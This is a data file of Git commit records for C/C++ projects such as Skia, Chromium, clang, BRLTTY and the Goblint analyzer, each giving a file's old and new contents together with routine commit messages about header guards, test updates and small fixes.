{"commit":"00055df70f34b1ec9e2b669a96cba6ec78a9305a","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 59\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 60\n#endif\n","subject":"Update Skia milestone to 60","message":"Update Skia milestone to 60\n\nBUG=skia:\n\nChange-Id: I1354ff96f5ff62c02af1d9cf39f0a971da077b17\nReviewed-on: https:\/\/skia-review.googlesource.com\/13465\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,google\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,google\/skia,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia"}
{"commit":"918002b7cc42d465dc80d2313e31d8fbfeef3712","old_file":"include\/ethdrivers\/intel.h","new_file":"include\/ethdrivers\/intel.h","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(NICTA_GPL)\n *\/\n\n#include <platsupport\/io.h>\n\n\/**\n * This function initialises the hardware\n * @param[in] io_ops        A structure containing os specific data and\n *                          functions.\n * @param[in] bar0          Where pci bar0 has been mapped into our vspace\n * @return                  A reference to the ethernet drivers state.\n *\/\nstruct eth_driver*\nethif_e82580_init(ps_io_ops_t io_ops, void *bar0);\n\n\/**\n * This function initialises the hardware\n * @param[in] io_ops        A structure containing os specific data and\n *                          functions.\n * @param[in] bar0          Where pci bar0 has been mapped into our vspace\n * @return                  A reference to the ethernet drivers state.\n *\/\nstruct eth_driver*\nethif_e82574_init(ps_io_ops_t io_ops, void *bar0);\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(NICTA_GPL)\n *\/\n\n#ifndef ETHIF_INTEL_H\n#define ETHIF_INTEL_H\n\n#include <platsupport\/io.h>\n\n\/**\n * This function initialises the hardware\n * @param[in] io_ops        A structure containing os specific data and\n *                          functions.\n * @param[in] bar0          Where pci bar0 has been mapped into our vspace\n * @return                  A reference to the ethernet drivers state.\n *\/\nstruct eth_driver*\nethif_e82580_init(ps_io_ops_t io_ops, void *bar0);\n\n\/**\n * This function initialises the hardware\n * @param[in] io_ops        A structure containing os specific data and\n *                          functions.\n * @param[in] bar0          Where pci bar0 has been mapped into our vspace\n * @return                  A reference to the ethernet drivers state.\n *\/\nstruct eth_driver*\nethif_e82574_init(ps_io_ops_t io_ops, void *bar0);\n\n#endif\n","subject":"Add missing header file guards","message":"Add missing header file guards\n","lang":"C","license":"bsd-2-clause","repos":"agacek\/util_libs,agacek\/util_libs,agacek\/util_libs,agacek\/util_libs"}
{"commit":"e6be97cf303bd7289c4403c254bd24a72684c3f8","old_file":"libSpinWaveGenie\/include\/SpinWaveGenie\/Memory.h","new_file":"libSpinWaveGenie\/include\/SpinWaveGenie\/Memory.h","old_contents":"","new_contents":"#include <cstddef>\n#include <memory>\n#include <type_traits>\n#include <utility>\n\n#if (!defined(__clang__) && !defined(_MSC_VER) && __GNUC__ == 4 && __GNUC_MINOR__ < 9)\n\nnamespace std\n{\ntemplate <class T> struct _Unique_if\n{\n  typedef unique_ptr<T> _Single_object;\n};\n\ntemplate <class T> struct _Unique_if<T[]>\n{\n  typedef unique_ptr<T[]> _Unknown_bound;\n};\n\ntemplate <class T, size_t N> struct _Unique_if<T[N]>\n{\n  typedef void _Known_bound;\n};\n\ntemplate <class T, class... Args> typename _Unique_if<T>::_Single_object make_unique(Args &&... args)\n{\n  return unique_ptr<T>(new T(std::forward<Args>(args)...));\n}\n\ntemplate <class T> typename _Unique_if<T>::_Unknown_bound make_unique(size_t n)\n{\n  typedef typename remove_extent<T>::type U;\n  return unique_ptr<T>(new U[n]());\n}\n\ntemplate <class T, class... Args> typename _Unique_if<T>::_Known_bound make_unique(Args &&...) = delete;\n}\n\n#endif\n","subject":"Add alternative implementation of memory.h","message":"Add alternative implementation of memory.h\n","lang":"C","license":"bsd-3-clause","repos":"peterfpeterson\/SpinWaveGenie,peterfpeterson\/SpinWaveGenie,peterfpeterson\/SpinWaveGenie"}
{"commit":"eb87f015b651e163be9767e7272535e7463332ff","old_file":"ext\/osl\/rbosl_move.h","new_file":"ext\/osl\/rbosl_move.h","old_contents":"#ifndef RBOSL_MOVE_H\n#define RBOSL_MOVE_H\n\n#include \"ruby.h\"\n#include <osl\/move.h>\n\nextern  VALUE cMove;\n\nusing namespace osl;\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nextern void Init_move(VALUE mOsl);\n#ifdef __cplusplus\n} \/* extern \"C\" *\/\n#endif\n\n#endif \/* RBOSL_MOVE_H *\/\n","new_contents":"#ifndef RBOSL_MOVE_H\n#define RBOSL_MOVE_H\n\n#include \"ruby.h\"\n#include <osl\/move.h>\n\nextern  VALUE cMove;\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nextern void Init_move(VALUE mOsl);\n#ifdef __cplusplus\n} \/* extern \"C\" *\/\n#endif\n\n#endif \/* RBOSL_MOVE_H *\/\n","subject":"Remove a needless using namespace","message":"Remove a needless using namespace\n","lang":"C","license":"mit","repos":"myokoym\/ruby-osl,myokoym\/ruby-osl,myokoym\/ruby-osl"}
{"commit":"f0e36f8cbabd17c08aeea7f0a4adf45ae698ecf3","old_file":"control.c","new_file":"control.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\n#include <math.h>\n\nstruct Packet {\n    unsigned int status: 1;\n    unsigned int group: 2;\n    unsigned int plug: 2;\n};\n\nunsigned int packet_to_binary(struct Packet packet) {\n    unsigned int binary = (packet.status << 7);\n    binary |= ((packet.group & 0x3) << 2);\n    binary |= (packet.plug  & 0x3);\n\n    return binary & 0xFF;\n}\n\nvoid binary_to_packet(struct Packet *packet, unsigned int binary) {\n    packet->status = (binary >> 7);\n    packet->group = (binary >> 2) & 0x3;\n    packet->plug = binary & 0x3;\n}\n\nvoid printBinary(int num, int digits) {\n    int shift = digits - 1;\n    int current = pow(2, shift);\n\n    while (current > 0) {\n        printf(\"%d\", ((num & current) >> shift) & 1);\n\n        shift--;\n        current \/= 2;\n    }\n\n    printf(\"\\n\");\n}\n","subject":"Add basic packet handling code","message":"Add basic packet handling code\n","lang":"C","license":"agpl-3.0","repos":"jackwilsdon\/lightcontrol,jackwilsdon\/lightcontrol"}
{"commit":"75482dd2ba967e3295976f786a88d9da4948a3a3","old_file":"tests\/regression\/36-apron\/07-problem-pointer.c","new_file":"tests\/regression\/36-apron\/07-problem-pointer.c","old_contents":"\/\/ SKIP PARAM: --set solver td3 --set ana.activated \"['base','threadid','threadflag','mallocWrapper','apron']\" --set ana.base.privatization none --set ana.apron.privatization dummy\nextern int __VERIFIER_nondet_int();\n\nvoid change(int *p) {\n    (*p)++;\n}\n\nint g;\nint main() {\n    int c = __VERIFIER_nondet_int();\n    g = 3; \/\/ Globals are not tracked by apron for now\n    assert(g != 3); \/\/ FAIL\n    assert(g == 3);\n    int a = 5;\n    int *p = &a; \/\/ after this apron should put a to top because pointers are not tracked\n    change(p);\n    assert(a - 6 == 0);\n    return 0;\n}\n","new_contents":"\/\/ SKIP PARAM: --set solver td3 --set ana.activated \"['base','threadid','threadflag','mallocWrapper','apron']\" --set ana.base.privatization none --set ana.apron.privatization dummy\nextern int __VERIFIER_nondet_int();\n\nvoid change(int *p) {\n    (*p)++;\n}\n\nint g;\nint main() {\n    int c = __VERIFIER_nondet_int();\n    g = 3; \/\/ Globals are not tracked by apron for now\n    assert(g != 3); \/\/ FAIL\n    assert(g == 3);\n    int a = 5;\n    int *p = &a; \/\/ after this apron should put a to top because pointers are not tracked\n    change(p);\n    assert(a == 5); \/\/FAIL\n    assert(a - 6 == 0);\n    return 0;\n}\n","subject":"Add test exhibiting problematic issue","message":"Add test exhibiting problematic issue\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"8a4faca9d5432f6f1fe81cd05450ea5c173e3554","old_file":"src\/bin\/e_widget_iconsel.h","new_file":"src\/bin\/e_widget_iconsel.h","old_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#ifdef E_TYPEDEFS\n#else\n#ifndef E_WIDGET_BUTTON_H\n#define E_WIDGET_BUTTON_H\n\nEAPI Evas_Object *e_widget_iconsel_add(Evas *evas, Evas_Object *icon, Evas_Coord minw, Evas_Coord minh, void (*func) (void *data, void *data2), void *data, void *data2);\nEAPI Evas_Object *e_widget_iconsel_add_from_file(Evas *evas, char *icon, Evas_Coord minw, Evas_Coord minh, void (*func) (void *data, void *data2), void *data, void *data2);\nEAPI void         e_widget_iconsel_select_callback_add(Evas_Object *obj, void (*func)(Evas_Object *obj, char *file, void *data), void *data);\n\n#endif\n#endif\n","new_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#ifdef E_TYPEDEFS\n#else\n#ifndef E_WIDGET_ICONSEL_H\n#define E_WIDGET_ICONSEL_H\n\nEAPI Evas_Object *e_widget_iconsel_add(Evas *evas, Evas_Object *icon, Evas_Coord minw, Evas_Coord minh, char **file);\nEAPI Evas_Object *e_widget_iconsel_add_from_file(Evas *evas, char *icon, Evas_Coord minw, Evas_Coord minh, char **file);\nEAPI void         e_widget_iconsel_select_callback_add(Evas_Object *obj, void (*func)(Evas_Object *obj, char *file, void *data), void *data);\n\n#endif\n#endif\n","subject":"Correct define for this file. Fix function declarations.","message":"Correct define for this file.\nFix function declarations.\n\n\ngit-svn-id: 0f3f1c46c6da7ffd142db61e503a7ff63af3a195@18291 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
{"commit":"d8e29e5b07a0c9939cef51b5188b6df38fb9abc0","old_file":"chrome\/browser\/history\/web_history_service_factory.h","new_file":"chrome\/browser\/history\/web_history_service_factory.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_\n#define CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_\n\n#include \"base\/memory\/singleton.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"components\/keyed_service\/content\/browser_context_keyed_service_factory.h\"\n\nnamespace history {\nclass WebHistoryService;\n}\n\n\/\/ Used for creating and fetching a per-profile instance of the\n\/\/ WebHistoryService.\nclass WebHistoryServiceFactory : public BrowserContextKeyedServiceFactory {\n public:\n  \/\/ Get the singleton instance of the factory.\n  static WebHistoryServiceFactory* GetInstance();\n\n  \/\/ Get the WebHistoryService for |profile|, creating one if needed.\n  static history::WebHistoryService* GetForProfile(Profile* profile);\n\n protected:\n  \/\/ Overridden from BrowserContextKeyedServiceFactory.\n  KeyedService* BuildServiceInstanceFor(\n      content::BrowserContext* context) const override;\n\n private:\n  friend struct DefaultSingletonTraits<WebHistoryServiceFactory>;\n\n  explicit WebHistoryServiceFactory();\n  ~WebHistoryServiceFactory() override;\n\n  DISALLOW_COPY_AND_ASSIGN(WebHistoryServiceFactory);\n};\n\n#endif  \/\/ CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_\n#define CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_\n\n#include \"base\/memory\/singleton.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"components\/keyed_service\/content\/browser_context_keyed_service_factory.h\"\n\nnamespace history {\nclass WebHistoryService;\n}\n\n\/\/ Used for creating and fetching a per-profile instance of the\n\/\/ WebHistoryService.\nclass WebHistoryServiceFactory : public BrowserContextKeyedServiceFactory {\n public:\n  \/\/ Get the singleton instance of the factory.\n  static WebHistoryServiceFactory* GetInstance();\n\n  \/\/ Get the WebHistoryService for |profile|, creating one if needed.\n  static history::WebHistoryService* GetForProfile(Profile* profile);\n\n protected:\n  \/\/ Overridden from BrowserContextKeyedServiceFactory.\n  KeyedService* BuildServiceInstanceFor(\n      content::BrowserContext* context) const override;\n\n private:\n  friend struct DefaultSingletonTraits<WebHistoryServiceFactory>;\n\n  WebHistoryServiceFactory();\n  ~WebHistoryServiceFactory() override;\n\n  DISALLOW_COPY_AND_ASSIGN(WebHistoryServiceFactory);\n};\n\n#endif  \/\/ CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_\n","subject":"Remove explicit from zero-parameter constructor","message":"Remove explicit from zero-parameter constructor\n\nExplicit in zero-parameter constructor does\nnot effect so it can be removed. Remove explicit\nfrom WebHistoryServiceFactory constructor in\nchrome\/browser\/history\/web_history_service_factory.h\n\nReview URL: https:\/\/codereview.chromium.org\/1311533005\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#346580}\n","lang":"C","license":"bsd-3-clause","repos":"CapOM\/ChromiumGStreamerBackend,ltilve\/ChromiumGStreamerBackend,ltilve\/ChromiumGStreamerBackend,ltilve\/ChromiumGStreamerBackend,ltilve\/ChromiumGStreamerBackend,CapOM\/ChromiumGStreamerBackend,CapOM\/ChromiumGStreamerBackend,CapOM\/ChromiumGStreamerBackend,CapOM\/ChromiumGStreamerBackend,ltilve\/ChromiumGStreamerBackend,CapOM\/ChromiumGStreamerBackend,ltilve\/ChromiumGStreamerBackend,CapOM\/ChromiumGStreamerBackend,ltilve\/ChromiumGStreamerBackend,CapOM\/ChromiumGStreamerBackend,ltilve\/ChromiumGStreamerBackend,CapOM\/ChromiumGStreamerBackend,ltilve\/ChromiumGStreamerBackend"}
{"commit":"9f7344e6d253edb47a863a527bbffdb3e0d839e7","old_file":"Programs\/sys_prog_windows.h","new_file":"Programs\/sys_prog_windows.h","old_contents":"\/*\n * BRLTTY - A background process providing access to the Linux console (when in\n *          text mode) for a blind person using a refreshable braille display.\n *\n * Copyright (C) 1995-2004 by The BRLTTY Team. All rights reserved.\n *\n * BRLTTY comes with ABSOLUTELY NO WARRANTY.\n *\n * This is free software, placed under the terms of the\n * GNU General Public License, as published by the Free Software\n * Foundation.  Please see the file COPYING for details.\n *\n * Web Page: http:\/\/mielke.cc\/brltty\/\n *\n * This software is maintained by Dave Mielke <dave@mielke.cc>.\n *\/\n\nchar *\ngetProgramPath (void) {\n  CHAR path[MAX_PATH];\n  DWORD length = GetModuleFileName(GetModuleHandle(NULL), path, sizeof(path));\n\n  while (length > 0)\n    if (path[--length] == '\\\\')\n      path[length] = '\/';\n\n  return strdupWrapper(path);\n}\n","new_contents":"\/*\n * BRLTTY - A background process providing access to the Linux console (when in\n *          text mode) for a blind person using a refreshable braille display.\n *\n * Copyright (C) 1995-2004 by The BRLTTY Team. All rights reserved.\n *\n * BRLTTY comes with ABSOLUTELY NO WARRANTY.\n *\n * This is free software, placed under the terms of the\n * GNU General Public License, as published by the Free Software\n * Foundation.  Please see the file COPYING for details.\n *\n * Web Page: http:\/\/mielke.cc\/brltty\/\n *\n * This software is maintained by Dave Mielke <dave@mielke.cc>.\n *\/\n\nchar *\ngetProgramPath (void) {\n  char *path = NULL;\n  HMODULE handle;\n\n  if ((handle = GetModuleHandle(NULL))) {\n    size_t size = 0X80;\n    char *buffer = NULL;\n\n    while (1) {\n      buffer = reallocWrapper(buffer, size<<=1);\n\n      {\n        DWORD length = GetModuleFileName(handle, buffer, size);\n\n        if (!length) {\n          LogWindowsError(\"GetModuleFileName\");\n          break;\n        }\n\n        if (length < size) {\n          buffer[length] = 0;\n          path = strdupWrapper(buffer);\n\n          while (length > 0)\n            if (path[--length] == '\\\\')\n              path[length] = '\/';\n\n          break;\n        }\n      }\n    }\n\n    free(buffer);\n  } else {\n    LogWindowsError(\"GetModuleHandle\");\n  }\n\n  return path;\n}\n","subject":"Remove the use of PATH_MAX from the Windows implementation of getProgramPath(). (dm)","message":"Remove the use of PATH_MAX from the Windows implementation of getProgramPath(). (dm)\n\n\ngit-svn-id: 30a5f035a20f1bc647618dbad7eea2a951b61b7c@1287 91a5dbb7-01b9-0310-9b5f-b28072856b6e\n","lang":"C","license":"lgpl-2.1","repos":"brltty\/brltty,brltty\/brltty,brltty\/brltty,brltty\/brltty,brltty\/brltty,brltty\/brltty"}
{"commit":"962be8ec763c4787bf00ccc06ac21d12467ffe7c","old_file":"renderer\/intersection_data.h","new_file":"renderer\/intersection_data.h","old_contents":"\/*\n * Contains the information about an intersection.\n * Author: Dino Wernli\n *\/\n\n#ifndef INTERSECTIONDATA_H_\n#define INTERSECTIONDATA_H_\n\n#include \"scene\/element.h\"\n#include \"scene\/material.h\"\n#include \"util\/point3.h\"\n#include \"util\/ray.h\"\n\nstruct IntersectionData {\n  \/\/ Builds a new struct for this specific ray. The ray is necessary in order to\n  \/\/ initialize \"t\" to the maximum \"t\" allowed by the ray.\n  IntersectionData(const Ray& ray)\n      : t(ray.max_t()), element(NULL), material(NULL) {}\n\n  Scalar t;\n  Point3 position;\n  Vector3 normal;\n  const Element* element;\n  const Material* material;\n};\n\n#endif \/* INTERSECTIONDATA_H_ *\/\n","new_contents":"\/*\n * Contains the information about an intersection.\n * Author: Dino Wernli\n *\/\n\n#ifndef INTERSECTIONDATA_H_\n#define INTERSECTIONDATA_H_\n\n#include \"scene\/element.h\"\n#include \"scene\/material.h\"\n#include \"util\/point3.h\"\n#include \"util\/ray.h\"\n\nstruct IntersectionData {\n  \/\/ Builds a new struct for this specific ray. The ray is necessary in order to\n  \/\/ initialize \"t\" to the maximum \"t\" allowed by the ray.\n  IntersectionData(const Ray& ray)\n      : t(ray.max_t()), element(NULL), material(NULL) {}\n\n  bool Intersected() const { return element != NULL; }\n\n  Scalar t;\n  Point3 position;\n  Vector3 normal;\n  const Element* element;\n  const Material* material;\n};\n\n#endif \/* INTERSECTIONDATA_H_ *\/\n","subject":"Add intersected query to data.","message":"Add intersected query to data.\n","lang":"C","license":"mit","repos":"dinowernli\/raytracer,dinowernli\/raytracer,dinowernli\/raytracer,dinowernli\/raytracer"}
{"commit":"9fd7f1825289ff5e80ea03c2caf9859e3a214e42","old_file":"src\/net\/include\/scy\/net\/dns.h","new_file":"src\/net\/include\/scy\/net\/dns.h","old_contents":"\/\/\/\n\/\/\n\/\/ LibSourcey\n\/\/ Copyright (c) 2005, Sourcey <https:\/\/sourcey.com>\n\/\/\n\/\/ SPDX-License-Identifier: LGPL-2.1+\n\/\/\n\/\/\/ @addtogroup net\n\/\/\/ @{\n\n\n#ifndef SCY_Net_DNS_H\n#define SCY_Net_DNS_H\n\n\n#include \"scy\/net\/net.h\"\n#include \"scy\/net\/address.h\"\n#include \"scy\/request.h\"\n#include \"scy\/logger.h\"\n#include \"scy\/util.h\"\n\n\nnamespace scy {\nnamespace net {\n\n\/\/\/ DNS utilities.\nnamespace dns {\n\n\ninline auto resolve(const std::string& host, int port,\n                    std::function<void(int,const net::Address&)> callback,\n                    uv::Loop* loop = uv::defaultLoop())\n{\n    return uv::createRequest<uv::GetAddrInfoReq>([&](const uv::GetAddrInfoEvent& event) {\n        if (event.status) {\n            LWarn(\"Cannot resolve DNS for \", host, \": \", uv_strerror(event.status))\n            callback(event.status, net::Address{});\n        }\n        else\n            callback(event.status, net::Address{event.addr->ai_addr, 16});\n    }).resolve(host, port, loop);\n}\n\n\n} \/\/ namespace dns\n} \/\/ namespace net\n} \/\/ namespace scy\n\n\n#endif \/\/ SCY_Net_DNS_H\n\n\n\/\/\/ @\\}\n","new_contents":"\/\/\/\n\/\/\n\/\/ LibSourcey\n\/\/ Copyright (c) 2005, Sourcey <https:\/\/sourcey.com>\n\/\/\n\/\/ SPDX-License-Identifier: LGPL-2.1+\n\/\/\n\/\/\/ @addtogroup net\n\/\/\/ @{\n\n\n#ifndef SCY_Net_DNS_H\n#define SCY_Net_DNS_H\n\n\n#include \"scy\/net\/net.h\"\n#include \"scy\/net\/address.h\"\n#include \"scy\/request.h\"\n#include \"scy\/logger.h\"\n#include \"scy\/util.h\"\n\n\nnamespace scy {\nnamespace net {\n\n\/\/\/ DNS utilities.\nnamespace dns {\n\n\ninline auto resolve(const std::string& host, int port,\n                    std::function<void(int,const net::Address&)> callback,\n                    uv::Loop* loop = uv::defaultLoop())\n{\n    return uv::createRequest<uv::GetAddrInfoReq>([&](const uv::GetAddrInfoEvent& event) {\n        if (event.status) {\n            LWarn(\"Cannot resolve DNS for \", host, \": \", uv_strerror(event.status))\n            callback(event.status, net::Address{});\n        }\n        else\n            callback(event.status, net::Address{event.addr->ai_addr, event.addr->ai_addrlen});\n    }).resolve(host, port, loop);\n}\n\n\n} \/\/ namespace dns\n} \/\/ namespace net\n} \/\/ namespace scy\n\n\n#endif \/\/ SCY_Net_DNS_H\n\n\n\/\/\/ @\\}\n","subject":"Fix hardcoded address length (IPv6 address are > 16 in length)","message":"Fix hardcoded address length (IPv6 address are > 16 in length)\n","lang":"C","license":"lgpl-2.1","repos":"sourcey\/libsourcey,sourcey\/libsourcey,sourcey\/libsourcey,sourcey\/libsourcey"}
{"commit":"ec58d9e3ac445e96413d10957c2e2488a695e784","old_file":"test\/CodeGen\/clear_cache.c","new_file":"test\/CodeGen\/clear_cache.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s\n\nchar buffer[32] = \"This is a largely unused buffer\";\n\n\/\/ __builtin___clear_cache always maps to @llvm.clear_cache, but what\n\/\/ each back-end produces is different, and this is tested in LLVM\n\nint main() {\n  __builtin___clear_cache(buffer, buffer+32);\n\/\/ CHECK: @llvm.clear_cache(i8* getelementptr {{.*}}, i8* getelementptr {{.*}} (i8* getelementptr {{.*}} 32))\n  return 0;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s\n\nchar buffer[32] = \"This is a largely unused buffer\";\n\n\/\/ __builtin___clear_cache always maps to @llvm.clear_cache, but what\n\/\/ each back-end produces is different, and this is tested in LLVM\n\nint main() {\n  __builtin___clear_cache(buffer, buffer+32);\n\/\/ CHECK: @llvm.clear_cache(i8* getelementptr inbounds ({{.*}}, i8* getelementptr inbounds (i8* getelementptr inbounds ({{.*}} 32))\n  return 0;\n}\n","subject":"Update test case to be compatible with auto-migration to new getelementptr syntax coming in the near future","message":"Update test case to be compatible with auto-migration to new getelementptr syntax coming in the near future\n\nThe first change won't touch GEPOperators such as these, but the update\nscript only identifies them by the leading '(' after getelementptr or\n'getelementptr inbounds', so update this test to at least have those\nfeatures to allow auto-migrating.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@229198 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"becac250828d4310614afe74480b9ed2a533c1f6","old_file":"inc\/m_util.h","new_file":"inc\/m_util.h","old_contents":"\/*********************************** LICENSE **********************************\\\n *                            Copyright 2017 Morphux                            *\n *                                                                              *\n *        Licensed under the Apache License, Version 2.0 (the \"License\");       *\n *        you may not use this file except in compliance with the License.      *\n *                  You may obtain a copy of the License at                     *\n *                                                                              *\n *                 http:\/\/www.apache.org\/licenses\/LICENSE-2.0                   *\n *                                                                              *\n *      Unless required by applicable law or agreed to in writing, software     *\n *       distributed under the License is distributed on an \"AS IS\" BASIS,      *\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  *\n *        See the License for the specific language governing permissions and   *\n *                       limitations under the License.                         *\n \\******************************************************************************\/\n\n#ifndef M_UTIL\n# define M_UTIL\n\n# include <stdint.h>\n# include <sys\/types.h>\n# include <sys\/stat.h>\n# include <morphux.h>\n\n\/*!\n * \\brief Delete a directory recursively\n *\n * \\param[in] dir Path of the directory to delete\n *\n * \\return true on success, false on failure\n *\/\nbool recursive_delete(const char *dir);\n\n#endif \/* M_UTIL *\/\n","new_contents":"\/*********************************** LICENSE **********************************\\\n *                            Copyright 2017 Morphux                            *\n *                                                                              *\n *        Licensed under the Apache License, Version 2.0 (the \"License\");       *\n *        you may not use this file except in compliance with the License.      *\n *                  You may obtain a copy of the License at                     *\n *                                                                              *\n *                 http:\/\/www.apache.org\/licenses\/LICENSE-2.0                   *\n *                                                                              *\n *      Unless required by applicable law or agreed to in writing, software     *\n *       distributed under the License is distributed on an \"AS IS\" BASIS,      *\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  *\n *        See the License for the specific language governing permissions and   *\n *                       limitations under the License.                         *\n \\******************************************************************************\/\n\n#ifndef M_UTIL\n# define M_UTIL\n\n# include <stdint.h>\n# include <sys\/types.h>\n# include <sys\/stat.h>\n# include <morphux.h>\n\n# define STR_OR_EMPTY(str) (str ? str : \"\")\n# define STR_NULL_OR_EMPTY(str) (str == NULL || (str != NULL && *str == '\\0'))\n\n\/*!\n * \\brief Delete a directory recursively\n *\n * \\param[in] dir Path of the directory to delete\n *\n * \\return true on success, false on failure\n *\/\nbool recursive_delete(const char *dir);\n\n#endif \/* M_UTIL *\/\n","subject":"Add safe string macro checking","message":"Add(Utils): Add safe string macro checking\n","lang":"C","license":"apache-2.0","repos":"Morphux\/lib,Morphux\/lib"}
{"commit":"ae711dcfdf89c67492d604879a13d21dc55e44dc","old_file":"tests\/regression\/04-mutex\/73-simple_nr_spinlock.c","new_file":"tests\/regression\/04-mutex\/73-simple_nr_spinlock.c","old_contents":"#include <pthread.h>\n#include <stdio.h>\n\nint myglobal;\npthread_spinlock_t spinlock1;\npthread_spinlock_t spinlock2;\n\nvoid *t_fun(void *arg) {\n  pthread_spin_lock(&spinlock1);\n  myglobal=myglobal+1; \/\/ NORACE\n  pthread_spin_unlock(&spinlock1);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_spin_lock(&spinlock1);\n  myglobal=myglobal+1; \/\/ NORACE\n  pthread_spin_unlock(&spinlock1);\n  pthread_join (id, NULL);\n  return 0;\n}\n","new_contents":"#include <pthread.h>\n#include <stdio.h>\n\n#ifdef __APPLE__\n  int main(void) {\n    \/\/ OS X has no spin_lock\n    int x =5; \/\/NORACE\n  }\n#else\n  int myglobal;\n  pthread_spinlock_t spinlock1;\n  pthread_spinlock_t spinlock2;\n\n  void *t_fun(void *arg) {\n    pthread_spin_lock(&spinlock1);\n    myglobal=myglobal+1; \/\/ NORACE\n    pthread_spin_unlock(&spinlock1);\n    return NULL;\n  }\n\n  int main(void) {\n    pthread_t id;\n    pthread_create(&id, NULL, t_fun, NULL);\n    pthread_spin_lock(&spinlock1);\n    myglobal=myglobal+1; \/\/ NORACE\n    pthread_spin_unlock(&spinlock1);\n    pthread_join (id, NULL);\n    return 0;\n  }\n#endif\n","subject":"Work around Mac not having `pthread_spinlock`","message":"Work around Mac not having `pthread_spinlock`\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
